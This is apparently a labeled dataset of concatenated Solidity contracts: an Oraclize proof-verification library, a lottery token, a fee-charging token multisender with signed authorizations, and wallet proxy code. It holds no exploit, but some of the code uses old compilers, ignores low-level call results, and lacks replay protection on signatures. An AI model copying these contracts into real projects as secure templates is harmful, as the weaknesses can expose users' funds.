mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
pragma solidity ^0.4.24;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.4.24;
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
}
contract BonusToken is ERC20, ERC20Detailed, Ownable {
address public gameAddress;
address public investTokenAddress;
uint public maxLotteryParticipants;
mapping (address => uint256) public ethLotteryBalances;
address[] public ethLotteryParticipants;
uint256 public ethLotteryBank;
bool public isEthLottery;
mapping (address => uint256) public tokensLotteryBalances;
address[] public tokensLotteryParticipants;
uint256 public tokensLotteryBank;
bool public isTokensLottery;
modifier onlyGame() {
require(msg.sender == gameAddress);
_;
}
modifier tokenIsAvailable {
require(investTokenAddress != address(0));
_;
}
constructor (address startGameAddress) public ERC20Detailed("Bet Token", "BET", 18) {
setGameAddress(startGameAddress);
}
function setGameAddress(address newGameAddress) public onlyOwner {
require(newGameAddress != address(0));
gameAddress = newGameAddress;
}
function buyTokens(address buyer, uint256 tokensAmount) public onlyGame {
_mint(buyer, tokensAmount * 10**18);
}
function startEthLottery() public onlyGame {
isEthLottery = true;
}
function startTokensLottery() public onlyGame tokenIsAvailable {
isTokensLottery = true;
}
function restartEthLottery() public onlyGame {
for (uint i = 0; i < ethLotteryParticipants.length; i++) {
ethLotteryBalances[ethLotteryParticipants[i]] = 0;
}
ethLotteryParticipants = new address[](0);
ethLotteryBank = 0;
isEthLottery = false;
}
function restartTokensLottery() public onlyGame tokenIsAvailable {
for (uint i = 0; i < tokensLotteryParticipants.length; i++) {
tokensLotteryBalances[tokensLotteryParticipants[i]] = 0;
}
tokensLotteryParticipants = new address[](0);
tokensLotteryBank = 0;
isTokensLottery = false;
}
function updateEthLotteryBank(uint256 value) public onlyGame {
ethLotteryBank = ethLotteryBank.sub(value);
}
function updateTokensLotteryBank(uint256 value) public onlyGame {
tokensLotteryBank = tokensLotteryBank.sub(value);
}
function swapTokens(address account, uint256 tokensToBurnAmount) public {
require(msg.sender == investTokenAddress);
_burn(account, tokensToBurnAmount);
}
function sendToEthLottery(uint256 value) public {
require(!isEthLottery);
require(ethLotteryParticipants.length < maxLotteryParticipants);
address account = msg.sender;
_burn(account, value);
if (ethLotteryBalances[account] == 0) {
ethLotteryParticipants.push(account);
}
ethLotteryBalances[account] = ethLotteryBalances[account].add(value);
ethLotteryBank = ethLotteryBank.add(value);
}
function sendToTokensLottery(uint256 value) public tokenIsAvailable {
require(!isTokensLottery);
require(tokensLotteryParticipants.length < maxLotteryParticipants);
address account = msg.sender;
_burn(account, value);
if (tokensLotteryBalances[account] == 0) {
tokensLotteryParticipants.push(account);
}
tokensLotteryBalances[account] = tokensLotteryBalances[account].add(value);
tokensLotteryBank = tokensLotteryBank.add(value);
}
function ethLotteryParticipants() public view returns(address[]) {
return ethLotteryParticipants;
}
function tokensLotteryParticipants() public view returns(address[]) {
return tokensLotteryParticipants;
}
function setInvestTokenAddress(address newInvestTokenAddress) external onlyOwner {
require(newInvestTokenAddress != address(0));
investTokenAddress = newInvestTokenAddress;
}
function setMaxLotteryParticipants(uint256 participants) external onlyOwner {
maxLotteryParticipants = participants;
}
} | 0 | 2,394 |
pragma solidity 0.5.7;
contract EternalStorage {
mapping(bytes32 => uint256) internal uintStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
}
pragma solidity 0.5.7;
contract UpgradeabilityStorage {
string internal _version;
address internal _implementation;
function version() public view returns (string memory) {
return _version;
}
function implementation() public view returns (address) {
return _implementation;
}
}
pragma solidity 0.5.7;
contract UpgradeabilityOwnerStorage {
address private _upgradeabilityOwner;
function upgradeabilityOwner() public view returns (address) {
return _upgradeabilityOwner;
}
function setUpgradeabilityOwner(address newUpgradeabilityOwner) internal {
_upgradeabilityOwner = newUpgradeabilityOwner;
}
}
pragma solidity 0.5.7;
contract OwnedUpgradeabilityStorage is UpgradeabilityOwnerStorage, UpgradeabilityStorage, EternalStorage {}
pragma solidity 0.5.7;
contract Ownable is EternalStorage {
event OwnershipTransferred(address previousOwner, address newOwner);
modifier onlyOwner() {
require(msg.sender == owner(), "not an owner");
_;
}
function owner() public view returns (address) {
return addressStorage[keccak256("owner")];
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
setOwner(newOwner);
}
function setOwner(address newOwner) internal {
emit OwnershipTransferred(owner(), newOwner);
addressStorage[keccak256("owner")] = newOwner;
}
}
pragma solidity 0.5.7;
contract Claimable is EternalStorage, Ownable {
function pendingOwner() public view returns (address) {
return addressStorage[keccak256("pendingOwner")];
}
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner());
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
addressStorage[keccak256("pendingOwner")] = newOwner;
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner(), pendingOwner());
addressStorage[keccak256("owner")] = addressStorage[keccak256("pendingOwner")];
addressStorage[keccak256("pendingOwner")] = address(0);
}
}
pragma solidity 0.5.7;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity 0.5.7;
contract Messages is EternalStorage {
struct Authorization {
address authorizedSigner;
uint256 expiration;
}
bytes32 public constant EIP712_DOMAIN_TYPEHASH = 0xd87cd6ef79d4e2b95e15ce8abf732db51ec771f1ca2edccf22a46c729ac56472;
bytes32 private constant AUTHORIZATION_TYPEHASH = 0xe419504a688f0e6ea59c2708f49b2bbc10a2da71770bd6e1b324e39c73e7dc25;
function DOMAIN_SEPARATOR() public view returns(bytes32) {
bytes32 salt = 0xf2d857f4a3edcb9b78b4d503bfe733db1e3f6cdc2b7971ee739626c97e86a558;
return keccak256(abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256("Multisender"),
keccak256("2.0"),
uintStorage[keccak256("chainId")],
address(this),
salt
));
}
function hash(address _authorizedSigner, uint256 _expiration) public pure returns (bytes32) {
return keccak256(abi.encode(
AUTHORIZATION_TYPEHASH,
_authorizedSigner,
_expiration
));
}
function recoverAddress(
bytes32 messageHash,
bytes memory signature
)
public
view
returns (address)
{
bytes32 r;
bytes32 s;
bytes1 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := mload(add(signature, 0x60))
}
bytes32 digest = keccak256(abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
messageHash
));
return ecrecover(digest, uint8(v), r, s);
}
function getApprover(uint256 timestamp, bytes memory signature) public view returns(address) {
if (timestamp < now) {
return address(0);
}
bytes32 messageHash = hash(msg.sender, timestamp);
return recoverAddress(messageHash, signature);
}
}
pragma solidity 0.5.7;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public
view
returns (uint256);
function transferFrom(address from, address to, uint256 value)
public
returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract UpgradebleStormSender is
OwnedUpgradeabilityStorage,
Claimable,
Messages
{
using SafeMath for uint256;
event Multisended(uint256 total, address tokenAddress);
event ClaimedTokens(address token, address owner, uint256 balance);
event PurchaseVIP(address customer, uint256 tier);
modifier hasFee() {
uint256 contractFee = currentFee(msg.sender);
if (contractFee > 0) {
require(msg.value >= contractFee, "no fee");
}
_;
}
modifier validLists(uint256 _contributorsLength, uint256 _balancesLength) {
require(_contributorsLength > 0, "no contributors sent");
require(
_contributorsLength == _balancesLength,
"different arrays lengths"
);
_;
}
function() external payable {}
function initialize(
address _owner,
uint256 _fee,
uint256 _vipPrice0,
uint256 _vipPrice1,
uint256 _vipPrice2,
uint256 _chainId
) public {
require(!initialized() || msg.sender == owner());
setOwner(_owner);
setFee(_fee);
setVipPrice(0, _vipPrice0);
setVipPrice(1, _vipPrice1);
setVipPrice(2, _vipPrice2);
uintStorage[keccak256("chainId")] = _chainId;
boolStorage[keccak256("rs_multisender_initialized")] = true;
require(fee() >= 0.01 ether);
uintStorage[keccak256("referralFee")] = 0.01 ether;
}
function initialized() public view returns (bool) {
return boolStorage[keccak256("rs_multisender_initialized")];
}
function fee() public view returns (uint256) {
return uintStorage[keccak256("fee")];
}
function currentFee(address _customer) public view returns (uint256) {
if (getUnlimAccess(_customer) >= block.timestamp) {
return 0;
}
return fee();
}
function setFee(uint256 _newStep) public onlyOwner {
require(_newStep != 0);
uintStorage[keccak256("fee")] = _newStep;
}
function tokenFallback(address _from, uint256 _value, bytes memory _data)
public
{}
function _checkFee(address _user, address payable _referral) internal {
uint256 contractFee = currentFee(_user);
if (contractFee > 0) {
require(msg.value >= contractFee, "no fee");
if (_referral != address(0)) {
_referral.send(referralFee());
}
}
}
function multisendToken(
address _token,
address[] calldata _contributors,
uint256[] calldata _balances,
uint256 _total,
address payable _referral
) external payable validLists(_contributors.length, _balances.length) {
bool isGoodToken;
bytes memory data;
_checkFee(msg.sender, _referral);
uint256 change = 0;
ERC20 erc20token = ERC20(_token);
(isGoodToken, data) = _token.call(
abi.encodeWithSelector(
0x23b872dd,
msg.sender,
address(this),
_total
)
);
require(isGoodToken, "transferFrom failed");
if (data.length > 0) {
bool success = abi.decode(data, (bool));
require(success, "not enough allowed tokens");
}
for (uint256 i = 0; i < _contributors.length; i++) {
(bool success, ) = _token.call(
abi.encodeWithSelector(
erc20token.transfer.selector,
_contributors[i],
_balances[i]
)
);
if (!success) {
change += _balances[i];
}
}
if (change != 0) {
erc20token.transfer(msg.sender, change);
}
emit Multisended(_total, _token);
}
function findBadAddressesForBurners(
address _token,
address[] calldata _contributors,
uint256[] calldata _balances,
uint256 _total
)
external
payable
validLists(_contributors.length, _balances.length)
hasFee
returns (address[] memory badAddresses, uint256[] memory badBalances)
{
badAddresses = new address[](_contributors.length);
badBalances = new uint256[](_contributors.length);
ERC20 erc20token = ERC20(_token);
for (uint256 i = 0; i < _contributors.length; i++) {
(bool success, ) = _token.call(
abi.encodeWithSelector(
erc20token.transferFrom.selector,
msg.sender,
_contributors[i],
_balances[i]
)
);
if (!success) {
badAddresses[i] = _contributors[i];
badBalances[i] = _balances[i];
}
}
}
function multisendTokenForBurners(
address _token,
address[] calldata _contributors,
uint256[] calldata _balances,
uint256 _total,
address payable _referral
) external payable validLists(_contributors.length, _balances.length) {
_checkFee(msg.sender, _referral);
ERC20 erc20token = ERC20(_token);
for (uint256 i = 0; i < _contributors.length; i++) {
(bool success, ) = _token.call(
abi.encodeWithSelector(
erc20token.transferFrom.selector,
msg.sender,
_contributors[i],
_balances[i]
)
);
}
emit Multisended(_total, _token);
}
function multisendTokenForBurnersWithSignature(
address _token,
address[] calldata _contributors,
uint256[] calldata _balances,
uint256 _total,
address payable _referral,
bytes calldata _signature,
uint256 _timestamp
) external payable {
address tokenHolder = getApprover(_timestamp, _signature);
require(
tokenHolder != address(0),
"the signature is invalid or has expired"
);
require(_contributors.length > 0, "no contributors sent");
require(
_contributors.length == _balances.length,
"different arrays lengths"
);
_checkFee(tokenHolder, _referral);
ERC20 erc20token = ERC20(_token);
for (uint256 i = 0; i < _contributors.length; i++) {
(bool success, ) = _token.call(
abi.encodeWithSelector(
erc20token.transferFrom.selector,
tokenHolder,
_contributors[i],
_balances[i]
)
);
}
emit Multisended(_total, _token);
}
function multisendTokenWithSignature(
address _token,
address[] calldata _contributors,
uint256[] calldata _balances,
uint256 _total,
address payable _referral,
bytes calldata _signature,
uint256 _timestamp
) external payable {
bool isGoodToken;
address tokenHolder = getApprover(_timestamp, _signature);
require(
tokenHolder != address(0),
"the signature is invalid or has expired"
);
require(_contributors.length > 0, "no contributors sent");
require(
_contributors.length == _balances.length,
"different arrays lengths"
);
_checkFee(tokenHolder, _referral);
uint256 change = 0;
(isGoodToken, ) = _token.call(
abi.encodeWithSelector(
0x23b872dd,
tokenHolder,
address(this),
_total
)
);
require(isGoodToken, "not enough allowed tokens");
for (uint256 i = 0; i < _contributors.length; i++) {
(bool success, ) = _token.call(
abi.encodeWithSelector(
0xa9059cbb,
_contributors[i],
_balances[i]
)
);
if (!success) {
change += _balances[i];
}
}
if (change != 0) {
_token.call(
abi.encodeWithSelector(
0xa9059cbb,
tokenHolder,
change
)
);
}
emit Multisended(_total, _token);
}
function tokenFindBadAddresses(
address _token,
address[] calldata _contributors,
uint256[] calldata _balances,
uint256 _total
)
external
payable
validLists(_contributors.length, _balances.length)
hasFee
returns (address[] memory badAddresses, uint256[] memory badBalances)
{
badAddresses = new address[](_contributors.length);
badBalances = new uint256[](_contributors.length);
ERC20 erc20token = ERC20(_token);
bool isGoodToken;
(isGoodToken, ) = _token.call(
abi.encodeWithSelector(
0x23b872dd,
msg.sender,
address(this),
_total
)
);
for (uint256 i = 0; i < _contributors.length; i++) {
(bool success, ) = _token.call(
abi.encodeWithSelector(
erc20token.transfer.selector,
_contributors[i],
_balances[i]
)
);
if (!success) {
badAddresses[i] = _contributors[i];
badBalances[i] = _balances[i];
}
}
}
function etherFindBadAddresses(
address payable[] calldata _contributors,
uint256[] calldata _balances
)
external
payable
validLists(_contributors.length, _balances.length)
returns (address[] memory badAddresses, uint256[] memory badBalances)
{
badAddresses = new address[](_contributors.length);
badBalances = new uint256[](_contributors.length);
uint256 _total = msg.value;
uint256 _contractFee = currentFee(msg.sender);
_total = _total.sub(_contractFee);
for (uint256 i = 0; i < _contributors.length; i++) {
bool _success = _contributors[i].send(_balances[i]);
if (!_success) {
badAddresses[i] = _contributors[i];
badBalances[i] = _balances[i];
} else {
_total = _total.sub(_balances[i]);
}
}
}
function multisendEther(
address payable[] calldata _contributors,
uint256[] calldata _balances
) external payable validLists(_contributors.length, _balances.length) {
uint256 _contractBalanceBefore = address(this).balance.sub(msg.value);
uint256 _total = msg.value;
uint256 _contractFee = currentFee(msg.sender);
_total = _total.sub(_contractFee);
for (uint256 i = 0; i < _contributors.length; i++) {
bool _success = _contributors[i].send(_balances[i]);
if (_success) {
_total = _total.sub(_balances[i]);
}
}
uint256 _contractBalanceAfter = address(this).balance;
require(
_contractBalanceAfter >= _contractBalanceBefore.add(_contractFee),
"don’t try to take the contract money"
);
emit Multisended(_total, 0x000000000000000000000000000000000000bEEF);
}
function setVipPrice(uint256 _tier, uint256 _price) public onlyOwner {
uintStorage[keccak256(abi.encodePacked("vip", _tier))] = _price;
}
function setAddressToVip(address _address, uint256 _tier)
external
onlyOwner
{
setUnlimAccess(_address, _tier);
emit PurchaseVIP(msg.sender, _tier);
}
function buyVip(uint256 _tier) external payable {
require(
msg.value >= uintStorage[keccak256(abi.encodePacked("vip", _tier))]
);
setUnlimAccess(msg.sender, _tier);
emit PurchaseVIP(msg.sender, _tier);
}
function setReferralFee(uint256 _newFee) external onlyOwner {
require(fee() >= _newFee);
uintStorage[keccak256("referralFee")] = _newFee;
}
function referralFee() public view returns (uint256) {
return uintStorage[keccak256("referralFee")];
}
function getVipPrice(uint256 _tier) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("vip", _tier))];
}
function getAllVipPrices()
external
view
returns (uint256 tier0, uint256 tier1, uint256 tier2)
{
return (
uintStorage[keccak256(abi.encodePacked("vip", uint256(0)))],
uintStorage[keccak256(abi.encodePacked("vip", uint256(1)))],
uintStorage[keccak256(abi.encodePacked("vip", uint256(2)))]
);
}
function claimTokens(address _token, uint256 _amount) external onlyOwner {
address payable ownerPayable = address(uint160(owner()));
uint256 amount = _amount;
if (_amount == 0) {
amount = address(this).balance;
}
if (_token == address(0)) {
ownerPayable.transfer(amount);
return;
}
ERC20 erc20token = ERC20(_token);
amount = erc20token.balanceOf(address(this));
erc20token.transfer(ownerPayable, amount);
emit ClaimedTokens(_token, ownerPayable, amount);
}
function getDeadline(uint256 _tier) public view returns (uint256) {
if (_tier == 0) {
return block.timestamp + 1 days;
}
if (_tier == 1) {
return block.timestamp + 7 days;
}
if (_tier == 2) {
return block.timestamp + 30 days;
}
return 0;
}
function getUnlimAccess(address customer) public view returns (uint256) {
return
uintStorage[keccak256(abi.encodePacked("unlimAccess", customer))];
}
function setUnlimAccess(address customer, uint256 _tier) private {
uintStorage[keccak256(
abi.encodePacked("unlimAccess", customer)
)] = getDeadline(_tier);
}
function exploreETHBalances(address[] calldata targets)
external
view
returns (uint256[] memory balances)
{
balances = new uint256[](targets.length);
for (uint256 i = 0; i < targets.length; i++) {
balances[i] = targets[i].balance;
}
}
function exploreERC20Balances(ERC20 token, address[] calldata targets)
external
view
returns (uint256[] memory balances)
{
balances = new uint256[](targets.length);
for (uint256 i = 0; i < targets.length; i++) {
balances[i] = token.balanceOf(targets[i]);
}
}
} | 0 | 1,185 |
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function setOwner(address _owner) public onlyOwner returns (bool) {
require(_owner != address(0));
owner = _owner;
return true;
}
}
interface TokenHandler {
function handleTokens(Token _token) public returns (bool);
}
contract HasWorkers is Ownable {
mapping(address => uint256) private workerToIndex;
address[] private workers;
event AddedWorker(address _worker);
event RemovedWorker(address _worker);
constructor() public {
workers.length++;
}
modifier onlyWorker() {
require(isWorker(msg.sender));
_;
}
modifier workerOrOwner() {
require(isWorker(msg.sender) || msg.sender == owner);
_;
}
function isWorker(address _worker) public view returns (bool) {
return workerToIndex[_worker] != 0;
}
function allWorkers() public view returns (address[] memory result) {
result = new address[](workers.length - 1);
for (uint256 i = 1; i < workers.length; i++) {
result[i - 1] = workers[i];
}
}
function addWorker(address _worker) public onlyOwner returns (bool) {
require(!isWorker(_worker));
uint256 index = workers.push(_worker) - 1;
workerToIndex[_worker] = index;
emit AddedWorker(_worker);
return true;
}
function removeWorker(address _worker) public onlyOwner returns (bool) {
require(isWorker(_worker));
uint256 index = workerToIndex[_worker];
address lastWorker = workers[workers.length - 1];
workerToIndex[lastWorker] = index;
workers[index] = lastWorker;
workers.length--;
delete workerToIndex[_worker];
emit RemovedWorker(_worker);
return true;
}
}
contract ControllerStorage {
address public walletsDelegate;
address public controllerDelegate;
address public forward;
uint256 public createdWallets;
mapping(bytes32 => bytes32) public gStorage;
}
contract WalletStorage {
address public owner;
}
contract DelegateProxy {
function delegatedFwd(address _dst, bytes _calldata) internal {
assembly {
let result := delegatecall(sub(gas, 10000), _dst, add(_calldata, 0x20), mload(_calldata), 0, 0)
let size := returndatasize
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
switch result case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
contract DelegateProvider {
function getDelegate() public view returns (address delegate);
}
contract ControllerProxy is ControllerStorage, Ownable, HasWorkers, DelegateProvider, DelegateProxy {
function getDelegate() public view returns (address delegate) {
delegate = walletsDelegate;
}
function setWalletsDelegate(address _delegate) public onlyOwner returns (bool) {
walletsDelegate = _delegate;
return true;
}
function setControllerDelegate(address _delegate) public onlyOwner returns (bool) {
controllerDelegate = _delegate;
return true;
}
function() public payable {
if (gasleft() > 2400) {
delegatedFwd(controllerDelegate, msg.data);
}
}
}
contract Token {
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
function approve(address _spender, uint256 _value) returns (bool success);
function increaseApproval (address _spender, uint _addedValue) public returns (bool success);
function balanceOf(address tokenOwner) public constant returns (uint balance);
}
contract WalletProxy is WalletStorage, DelegateProxy {
event ReceivedETH(address from, uint256 amount);
constructor() public {
owner = msg.sender;
}
